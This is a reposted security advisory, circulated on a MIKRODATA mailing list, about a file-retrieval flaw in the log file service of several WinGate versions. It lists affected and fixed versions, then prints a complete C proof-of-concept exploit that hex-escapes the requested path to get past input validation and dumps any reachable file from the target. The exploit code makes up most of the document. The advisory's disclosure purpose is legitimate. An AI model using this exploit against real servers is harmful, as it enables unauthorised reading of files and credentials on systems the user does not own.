Wingate security vulnerability (file retrieval)
------------------------------------------------------------------------


SUMMARY

 <http://wingate.deerfield.com/> DeerField's WinGate contains a security 
vulnerability that allows remote attackers to use the log file service
to 
retrieve files unrelated to logging.

DETAILS

Vulnerable systems:
Wingate 4.1 Beta A
Wingate 4.0.1 (most recent stable release)
Wingate 3.0
Wingate 2.1

Immune systems:
Wingate 4.1 Beta C

The log file server allows logs to be viewed remotely via HTTP. By 
encoding file/path portion of the URL as a series of escape codes (i.e., 
"%41%42%43%44"), an attacker may circumvent input validation. All files 
accessible to the logging service can be retrieved by taking advantage
of 
this flaw. Files containing new lines may be corrupted.

By default, this service is bound only to 'private' interfaces (LAN 
adapters, the loop back interface, etc). However, users who have 
legitimate access to logs do not necessarily have legitimate access to
all 
files available to the log file server process.


 
<http://www.securiteam.com/exploits/Multiple_WinGate_Vulnerabilities.html> 
eEye Security reported that the logging server could be used to retrieve 
files remotely in version 3.0. Unfortunately, the problem was not 
thoroughly fixed and this simple trick allows characters to be inserted 
that are not subject to input validation (escaped characters are
inserted 
after checks are performed).

This vulnerability affects the latest beta version of Wingate (4.1 A) as 
well as the most recent stable release (4.0.1). The attack has been 
confirmed to work against Wingate 2.1 and 3.0. Other versions have not 
been tested.

Solution:
The immune version (4.1 Beta C) can be obtained from:
 <http://wingate.deerfield.com/beta/> http://wingate.deerfield.com/beta/

Exploit:
/*
wgate41a.c - Wingate 4.1 Beta A log file service vulnerability.
Blue Panda - [EMAIL PROTECTED]
http://bluepanda.box.sk/

----------------------------------------------------------
Disclaimer: this file is intended as proof of concept, and
is not intended to be used for illegal purposes. I accept
no responsibility for damage incurred by the use of it.
----------------------------------------------------------

Makes a request to the Wingate logfile service in such a way that it
will
not be subject to filtering. This can allow an attacker to retrieve
files
irrelevant to the logging system. The file received is dumped to stdout, 
and
all other output is written to stderr. Newline characters (0x0d and
0x0a)
will probably be screwed up by Wingate.

usage: wgate41a <host> <path/filename> [<port>]
*/
#include <stdio.h>
#include <winsock.h>

const char *USAGE = "usage: wgate41a <host> <path/filename>
[<port>]\nport 
defaults to 8010.";
const char *ERROR_WINSOCK_INIT = "Error initialising winsock.";
const char *ERROR_SOCKET_CREATE = "Error creating socket.";
const char *ERROR_RECV = "Error receiving file/directory listing.";
const char *ERROR_MALLOC = "Error allocating memory.";
const char *WARNING_WINSOCK_CLEANUP = "Warning: winsock failed to clean
up 
successfully.";

const int DEFAULT_PORT = 8010;
const int CONNECT_ERROR_NONE = 0;
const int CONNECT_ERROR_HOST = 1;
const int CONNECT_ERROR_CONNECT = 2;

const char *GET_REQUEST = "GET /";
const char *HTTP11 = " HTTP/1.1\x0d\x0a\x0d\x0a";
const char *END_OF_HEADERS = "\x0d\x0a\x0d";

#define BUF_LEN 2048

void Usage(void);
int Connect(int iSock, char *szHost, int iPort);
int InitWinsock(void);
int ShutdownWinsock(void);
void Bail(const char *szMessage);

int main(int argc, char *argv[])
{
        int iPort;
        int iResult;
        int iSocket;
        int iCounter;
        char *szFile = NULL;
        int iFileLen = 0;
        char *szFileTemp = NULL;
        char *szStartOfFile;
        char sBuf[BUF_LEN];

        if ((argc < 3) || (argc > 4)) Usage();
        if (argc == 4)
                iPort = atoi(argv[3]);
        else iPort = DEFAULT_PORT;

        // Attempt to initialise winsock.
        iResult = InitWinsock();
        if (iResult != 0)
                Bail(ERROR_WINSOCK_INIT);

        // Create socket.
        iSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (iSocket == INVALID_SOCKET)
                Bail(ERROR_SOCKET_CREATE);

        // Connect to target.
        fprintf(stderr, "Connecting to %s:%d...", argv[1], iPort);
        iResult = Connect(iSocket, argv[1], iPort);
        if (iResult == CONNECT_ERROR_HOST)
                Bail("invalid host.");
        if (iResult == CONNECT_ERROR_CONNECT)
                Bail("failed.");
        fprintf(stderr, "done.\n");

        // Connected. Send request.
        send(iSocket, GET_REQUEST, strlen(GET_REQUEST), 0); // Begin 
request.        
        iCounter = 0; // File/path.
        do
        {
                sprintf((char *)(&sBuf), "%%%x", argv[2][iCounter]);
                send(iSocket, sBuf, strlen(sBuf), 0);
                iCounter++;
        } while((unsigned int)(iCounter) < strlen(argv[2]));
        send(iSocket, HTTP11, strlen(HTTP11), 0); // Terminate request.

        fprintf(stderr, "Receiving...\n");

        // Receive reply.
        do
        {
                iResult = recv(iSocket, (char *)(&sBuf), BUF_LEN, 0);
                if (iResult > 0)
                {
                        if (szFile != NULL)
                        {
                                szFileTemp = (char *)(malloc(iFileLen));
                                if (szFileTemp == NULL)
                                        Bail(ERROR_MALLOC);
                                memcpy(szFileTemp, szFile, iFileLen);
                                free(szFile);
                        }
                        szFile = (char *)(malloc(iFileLen + iResult +
1));
                        if (szFile == NULL)
                                Bail(ERROR_MALLOC);
                        if (szFileTemp != NULL)
                        {
                                memcpy(szFile, szFileTemp, iFileLen);
                                free(szFileTemp);
                                szFileTemp = NULL;
                        }
                        memcpy(szFile + iFileLen, (char *)(&sBuf), 
iResult);
                        iFileLen += iResult;
                }
                else
                        if ((iResult == SOCKET_ERROR) && 
(WSAGetLastError() != WSAETIMEDOUT)) iResult = 0;
        } while(iResult != 0);

        fprintf(stderr, "Finished. Dumping to stdout...\n");

        szFile[iFileLen] = 0;
        szStartOfFile = strstr(szFile, END_OF_HEADERS);
        if (szStartOfFile != NULL)
                szStartOfFile += 4;
        else
        {
                szStartOfFile = szFile;
                fprintf(stderr, "Warning: unable to find end of HTTP 
headers.\n");
        }
        if (iFileLen - (szStartOfFile - szFile) > 0)
                fwrite(szStartOfFile, 1, iFileLen - (szStartOfFile - 
szFile), stdout);
        else fprintf(stderr, "Warning: file blank.\n");

        free(szFile);

        // Attempt to shut-down winsock.
        iResult = ShutdownWinsock();
        if (iResult != 0)
                fprintf(stderr, "%s\n", WARNING_WINSOCK_CLEANUP);
        return 0;
}

void Usage(void)
{
        fprintf(stderr, "%s\n", USAGE);
        exit(0);
}

int Connect(int iSock, char *szHost, int iPort)
{
        SOCKADDR_IN RemoteAddress;
        struct hostent *HostInfo;
        int iResult;

        RemoteAddress.sin_family = AF_INET;
        RemoteAddress.sin_port = htons(iPort);
        RemoteAddress.sin_addr.s_addr = inet_addr(szHost);
        if (RemoteAddress.sin_addr.s_addr == INADDR_NONE)
        {
                HostInfo = gethostbyname(szHost);
                if (HostInfo == NULL) return 1;
                memcpy(&RemoteAddress.sin_addr.s_addr, HostInfo->h_addr, 
sizeof(HostInfo->h_addr));
        }

        iResult = connect(iSock, (SOCKADDR *)&RemoteAddress, 
sizeof(RemoteAddress));
        if (iResult) return 2;
        return 0;
}

int InitWinsock(void)
{
        WSADATA WSData;
        WORD WSVersion;
        int iResult;

        WSVersion = MAKEWORD(1, 1);
        iResult = WSAStartup(WSVersion, &WSData);
        return iResult;
}

int ShutdownWinsock(void)
{
        int iResult;
        iResult = WSACleanup();
        return iResult;
}

void Bail(const char *szMessage)
{
        fprintf(stderr, "%s\n", szMessage);
        exit(1);
}


--
Eko Sulistiono
MIKRODATA & AntiVirus Media
Web: http://www.mikrodata.co.id/
WAP: http://www.mikrodata.co.id/wap/index.wml

This message contains no viruses. Guaranteed by AVP.


------------------------------------------------------------------------
Forum Komunikasi Penulis-Pembaca MIKRODATA (FKPPM)

Informasi : http:[EMAIL PROTECTED]
Arsip     : http://www.mail-archive.com/forum%40mikrodata.co.id/
WAP       : http://mikrodata.co.id/wap/index.wml

Milis ini menjadi kontribusi beberapa rubrik yang diasuh tim MIKRODATA.
Termasuk rubrik-rubrik yang ada di media lain.

Memakai, Menyebarluaskan, dan Memperbanyak software bajakan adalah 
tindakan kriminal.

Please check with the latest AVP update before you ask about virus:
ftp://mikrodata.co.id/avirus_&_security/AntiViral_Toolkit_Pro/avp30.zip

Kirim email ke